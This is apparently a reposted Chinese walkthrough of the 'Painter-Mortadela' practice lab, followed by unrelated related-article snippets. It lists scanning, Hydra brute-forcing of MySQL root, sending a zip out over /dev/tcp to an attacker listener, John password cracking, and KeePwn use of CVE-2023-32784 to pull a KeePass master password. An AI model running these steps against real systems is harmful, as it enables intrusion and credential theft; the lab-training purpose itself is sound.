Painter-Mortadela靶场

信息收集

枚举端口

nmap 192.168.109.132 -sS -sV -min-rate 5000 -Pn -p- 
  • -p- :扫描所有端口。 (65535)
  • -sS:执行TCP SYN 扫描以快速扫描哪些端口打开。
  • -sC:使用基本识别脚本执行扫描
  • -sV:执行服务扫描
  • –min-rate 5000:我们指定端口扫描速度不低于每秒 5000 个数据包,前一个参数和这个参数使扫描花费的时间更短。
  • -n:不执行 DNS 解析,我们防止扫描时间超过必要的时间。
  • -Pn:我们通过 ping 禁用主机发现。

扫描目录

dirsearch -u 192.168.109.131 -x 404
  • -x 404 : 排除404的错误

收集CMS

cmseek -u 目标ip

很明显框架是Wordpress并扫描出一个mortadela用户

渗透阶段

爆破mysql

根据前面的用户和mysql的默认用户root,进行九头蛇爆破

hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.109.132

连接时注意

可能会出现SSL加密连接:

Enter password:

ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it

mysql -h 192.168.109.132 -u root -p --skip-ssl

--skip-ssl 来禁用 SSL 连接

获取数据库的ssh的密码

ssh连接

获取第一个标志

cd到一个奇怪的目录,发现有一个压缩包,还是加密的

给他下载到自己的本机上面

cat muyconfidencial.zip > /dev/tcp/192.168.109.128/6666
nc -lvp 6666 > a.zip

zip2john a.zip > tmp
john --wordlist=/usr/share/wordlists/rockyou.txt tmp
john  tmp --show

解码出文件

unzip a.zip

这是一个CVE-2023-32784的漏洞

有兴趣的可以去看一下链接,这个漏洞的原理

https://github.com/z-jxy/keepass_dump

安装解密的keepwn命令

git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

解密

mv Database.kdbx ./KeePwn
mv KeePass.DMP ./KeePwn
python3 KeePwn.py parse_dump -d KeePass.DMP -b Database.kdbx //有点慢

这个网站进行解密

https://app.keeweb.info/

要先把Database.kdbx这个文件拖到windows桌面,再放到上面的网站进行解密

就出来root用户和密码了

拿下

总结:

其实主要学习的就是这个

Keepass转储器

这是我对 CVE-2023-32784 的 PoC 实现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/946036.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

攻防世界pwn刷题

get_shell 这题直接给shell了 exp from pwn import* p remote(61.147.171.105,59682) p.sendline(cat flag) p.interactive() cyberpeace{8cd678c722f48327a69b2661ae8956c8} hello_pwn checksec一下 ok,64位的 {alarm(0x3Cu);setbuf(stdout, 0LL);puts("…

1、pycharm、python下载与安装

1、去官网下载pycharm 官网:https://www.jetbrains.com/pycharm/download/?sectionwindows 2、在等待期间,去下载python 进入官网地址:https://www.python.org/downloads/windows/ 3、安装pycharm 桌面会出现快捷方式 4、安装python…

epoll的ET和LT模式

LevelTriggered:简称LT,当FD有数据可读时,会重复通知多次,直至数据处理完成。是epoll的默认模式EdgeTriggered:简称ET,当FD有数据可读时,只通知一次,不管数据是否处理完成 Level是指…

CSS利用浮动实现文字环绕右下角,展开/收起效果

期望实现 文字最多展示 N 行,超出部分截断,并在右下角显示 “…” “更多”; 点击更多,文字展开全部内容,右下角显示“收起”。效果如下: 思路 尽量使用CSS控制样式,减少JS代码复杂度。 利…

单元测试入门和mockup

Java 新手入门:Java单元测试利器,Mock详解_java mock-CSDN博客 这个是典型的before when assert三段式,学一下单测思路 这个没有动态代理,所以是直接class(对比下面) Jmockit使用笔记_增加代码覆盖率_覆盖try catch_使用new Mock…

开发小工具:ping地址

开发小工具:ping地址 import socketdef tcp_port_scan(ip,port):#创建套接字socksocket.socket(socket.AF_INET,socket.SOCK_STREAM)#设置超时sock.settimeout(0.2)try:#发请求result sock.connect_ex((ip,port))if result 0:print(f{ip}--{port}接口连接成功)res…

双汇火腿肠,请勿随意喂猫

在许多家庭中,猫咪作为可爱的宠物成员,备受宠爱。当我们享受着双汇火腿肠的便捷与美味时,或许会有人想到与猫咪分享,但这种看似温馨的举动实则隐藏着诸多问题,双汇火腿肠并不适合喂猫。 从营养成分来看,双…

Unity Excel转Json编辑器工具

功能说明:根据 .xlsx 文件生成对应的 JSON 文件,并自动创建脚本 注意事项 Excel 读取依赖 本功能依赖 EPPlus 库,只能读取 .xlsx 文件。请确保将该脚本放置在 Assets 目录下的 Editor 文件夹中。同时,在 Editor 下再创建一个 Exc…

深信服云桌面系统的终端安全准入设置

深信服的云桌面系统在默认状态下没有终端的安全准入设置,这也意味着同样的虚拟机,使用云桌面终端或者桌面套件都可以登录,但这也给系统带来了一些安全隐患,所以,一般情况下需要设置终端的安全准入策略,防止…

基于SpringBoot的实验室信息管理系统【源码+文档+部署讲解】

系统介绍 视频演示 基于SpringBootVue实现的实验室信息管理系统采用前后端分离的架构方式,系统分为管理员、老师、用户三种角色,实现了用户管理、设备管理、实验室查询、公告、课程、实验室耗材管理、我的等功能 技术选型 开发工具:idea2…

Windows 10 自带功能实现大屏、小屏无线扩展

一、添加可选功能 在作为无线投屏对象的「第二屏」设备上,打开 Windows 10 设置并定位至「应用 > 应用和功能」界面,然后点击右侧界面中的「可选功能」选项。 点击可选功能界面顶部的「添加功能」按钮,搜索「无线显示器」模块并选择添加。…

大电流和大电压采样电路

大电压采样电路: 需要串联多个电阻进行分压,从而一级一级降低电压,防止电阻损坏或者短路直接打穿MCU。 为什么需要加电压跟随器:进行阻抗的隔离,防止MCU的IO阻抗对分压产生影响: 大电流检测电路&#xff…

torch.nn.functional的用法

文章目录 介绍激活函数示例 损失函数示例 卷积操作示例 池化示例 归一化操作示例 Dropout示例 torch.nn.functional 与 torch.nn 的区别 介绍 torch.nn.functional 是 PyTorch 中的一个模块,提供了许多函数式的神经网络操作,包括激活函数、损失函数、卷…

生物信息学软件开发综述学习

目录 ①编程语言和开源工具和库 ②轻量级 R 包开发 ③大规模组学软件开发 ④示例 1.轻量级 R 包开发示例及数据 2.大规模组学软件开发 文献:Bioinformatics software development: Principles and future directions ①编程语言和开源工具和库 在生物信息学…

【复刻】数字化转型是否赋能企业新质生产力发展?(2015-2023年)

参照赵国庆(2024)的做法,对来自产业经济评论《企业数字化转型是否赋能企业新质生产力发展——基于中国上市企业的微观证据》一文中的基准回归部分进行复刻基于2015-2023年中国A股上市公司数据,实证分析企业数字化转型对新质生产力…

在线免费批量生成 Word 文档工具

为了方便的批量生成 Word 文档,写了个在线 Word 文档批量生成工具,可以根据 Excel 数据和 Word 模板批量生成大量个性化的 Word 文档。适用于需要批量生成格式统一但内容不同的文档场景。比如: 批量生成证书、奖状批量生成合同、协议批量生成…

3D数学基础2

矩阵的行列式 在任意方阵中都存在至少一个标量,称作该方阵的行列式。在线性代数中,行列式有很多有用的性质 线性运算法则 方阵 M M M的行列式记作 ∣ M ∣ |M| ∣M∣或“det M”。非方阵矩阵的行列式是未定义的。 注意,在书写行列式时&…

2024国产化信创产品名录

文章目录 一、JDK/OpenJDK替代品1、龙芯JDK2、阿里巴巴Dragonwell3、毕昇JDK4、腾讯 Kona 二、Tomcat替代品1、东方通TongWeb2、宝兰德Web服务器软件3、普元信息Primeton AppServer4、金蝶天燕AAS应用服务器 三、Nginx替代品1、宝兰德WebServer2、东方通TongHttpServer3、Tengi…

OpenCV-Python实战(11)——边缘检测

一、Sobel 算子 通过 X 梯度核与 Y 梯度核求得图像在,水平与垂直方向的梯度。 img cv2.Sobel(src*,ddepth*,dx*,dy*,ksize*,scale*,delta*,borderType*)img:目标图像。 src:原始图像。 ddepth:目标图像深度,-1 代表…

基于微博热搜评论的情感分析与热点主题挖掘研究

目录 1、绪论 1.1 研究背景与研究意义 1.2 数据来源 1.3 技术路线 2、数据预处理 2.1 数据清洗与准备 2.2 导入必要库与加载数据 2.3 加载停用词表与分词处理 2.4 统计词频与高频词分析 3、情感分析与主题建模 3.1 情感分析 3.2 主题建模 3.3 热点主题识别 4、数据可视…